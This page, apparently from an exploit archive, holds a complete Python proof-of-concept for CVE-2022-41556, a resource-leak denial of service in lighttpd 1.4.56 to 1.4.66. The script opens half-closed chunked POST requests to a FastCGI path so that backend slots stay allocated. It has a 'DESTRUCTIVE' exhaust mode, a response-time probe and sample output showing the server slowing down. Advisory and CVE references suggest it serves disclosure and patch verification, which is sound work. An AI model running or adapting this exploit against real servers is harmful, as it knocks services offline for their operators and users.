Share
## https://sploitus.com/exploit?id=ZSL-2026-5968
<html><body><p>#!/usr/bin/env python3
#
#
# Lighttpd 1.4.56 - 1.4.66 Resource Leak Denial of Service PoC
#
#
# Vendor: Glenn Strauss
# Product web page: https://www.lighttpd.net
# Affected version: 1.4.56 - 1.4.66
# Fixed version: 1.4.67-1.fc35
#
# Summary: lighttpd (pronounced /lighty/) is a secure, fast,
# compliant, and very flexible web server that has been optimized
# for high-performance environments. lighttpd uses memory and
# CPU efficiently and has lower resource use than other popular
# web servers. Its advanced feature-set (FastCGI, CGI, Auth,
# Output-Compression, URL-Rewriting and much more) make lighttpd
# the perfect web server for all systems, small and large.
#
# Desc: CVE-2022-41556 is a resource exhaustion vulnerability
# in lighttpd 1.4.56 - 1.4.66 affecting gateway backends such
# as FastCGI. When handling an HTTP/1.1 request with chunked
# transfer encoding and request-body streaming enabled, lighttpd
# mishandles an anomalous client disconnect (RDHUP / half-closed
# TCP connection) before the terminating chunk is sent. In this
# state, the gateway handler can incorrectly return HANDLER_WAIT_FOR_EVENT
# without transitioning to an error or cleanup path, leaving the
# backend connection slot permanently allocated. By repeatedly
# opening such malformed connections, an attacker can exhaust
# available backend slots, causing new dynamic requests to hang
# indefinitely and resulting in a denial of service that persists
# until the server is restarted.
#
# ---------------------------------------------------------------
# ./lightslot.py --port 88 -n 5 --delay 0.1 10.0.0.7 --fcgi-path /bus.php --exhaust
#
# o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o
# | | | | | | | | | | | | | | | | | | |
#  lighttpd FastCGI backend slot leak
# _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
#
# [+] Detected Server: lighttpd/1.4.64
# [*] Target: http://10.0.0.7:88/bus.php
# [+] [0] anomalous FastCGI request sent
# [+] [1] anomalous FastCGI request sent
# [+] [2] anomalous FastCGI request sent
# [+] [3] anomalous FastCGI request sent
# [+] [4] anomalous FastCGI request sent
# [*] Injection phase complete
# [*] Starting frontend probe
# [PROBE] frontend response time: 5.062s
# [PROBE] frontend response time: 17.047s
# [*] Cleanup complete
# [*] Test complete
# ---------------------------------------------------------------
#
# Tested on: lighttpd 1.4.64
#
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#                  @zeroscience
#
#
# Advisory ID: ZSL-2026-5968
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5968.php
# CVE ID: CVE-2022-41556
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2022-41556
# Fix release changelog: https://www.lighttpd.net/2022/9/17/1.4.67/
# Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=2130967
#
#
# 23.01.2026
#

import threading
import argparse#
import socket###
import time#####
import sys######

banerche = """
o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o
| | | | | | | | | | | | | | | | | | |
 lighttpd FastCGI backend slot leak
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
"""
class FastCGILeakTester:
    def __init__(self, host, port, fcgi_path,
                 conns, delay, detect_only):
        self.detect_only = detect_only
        self.fcgi_path = fcgi_path
        self.conns = conns
        self.delay = delay
        self.running = True
        self.sockets = []
        self.host = host
        self.port = port

    def make_socket(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((self.host, self.port))
        return s

    def chunky_funk(self, cid):
        try:
            s = self.make_socket()
            req = (
                f"POST {self.fcgi_path} HTTP/1.1\r\n"
                f"Host: {self.host}\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Connection: keep-alive\r\n"
                f"\r\n"
            ).encode()
            s.sendall(req)
            s.sendall(b"4\r\ntest\r\n")
            s.shutdown(socket.SHUT_WR)
            self.sockets.append(s)
            print(f"[+] [{cid}] anomalous FastCGI request sent")
        except Exception as e:
            print(f"[-] [{cid}] failed: {e}")

    def run(self):
        print(f"[*] Target: http://{self.host}:{self.port}{self.fcgi_path}")
        print(f"[*] Mode: {'DETECT' if self.detect_only else 'EXHAUST'}")
        for i in range(self.conns):
            if not self.running:
                break
            t = threading.Thread(
                target=self.chunky_funk,
                args=(i,),
                daemon=True
            )
            t.start()
            time.sleep(self.delay)
        print("[*] Injection phase complete")

    def frontend_probe(self):
        print("[*] Starting frontend probe")
        while self.running:
            try:
                s = self.make_socket()
                start = time.time()
                s.sendall(b"GET / HTTP/1.0\r\n\r\n")
                s.recv(64)
                elapsed = time.time() - start
                s.close()
                print(f"[PROBE] frontend response time: {elapsed:.3f}s")
            except Exception as e:
                print(f"[PROBE] frontend failure: {e}")
            time.sleep(3)

    def cleanup(self):
        self.running = False
        for s in self.sockets:
            try:
                s.close()
            except:
                pass
        print("[*] Cleanup complete")

def check_lighty(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((host, port))
        s.sendall(b"HEAD / HTTP/1.0\r\n\r\n")
        resp = s.recv(512)
        s.close()
        for line in resp.split(b"\n"):
            if b"Server:" in line and b"lighttpd" in line.lower():
                print(f"[+] Detected {line.decode().strip()}")
                return True
        print("[-] lighttpd not detected")
        return False
    except Exception as e:
        print(f"[-] connection failed: {e}")
        return False

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("host")
    parser.add_argument("--port", type=int, default=80)
    parser.add_argument("--fcgi-path", default="/index.php",
                        help="Must be FastCGI-backed")
    parser.add_argument("-n", "--conns", type=int, default=5,
                        help="Use small number for detection")
    parser.add_argument("--delay", type=float, default=0.2)
    parser.add_argument("--exhaust", action="store_true",
                        help="Exhaust backend slots (DESTRUCTIVE)")
    args = parser.parse_args()
    print(banerche)
    if not check_lighty(args.host, args.port):
        sys.exit(1)
    tester = FastCGILeakTester(
        args.host,
        args.port,
        args.fcgi_path,
        args.conns,
        args.delay,
        detect_only=not args.exhaust
    )
    try:
        tester.run()
        probe = threading.Thread(
            target=tester.frontend_probe,
            daemon=True
        )
        probe.start()
        time.sleep(30)
    except KeyboardInterrupt:
        pass
    finally:
        tester.cleanup()
    print("[*] Test complete")

if __name__ == "__main__":
    main()
</p></body></html>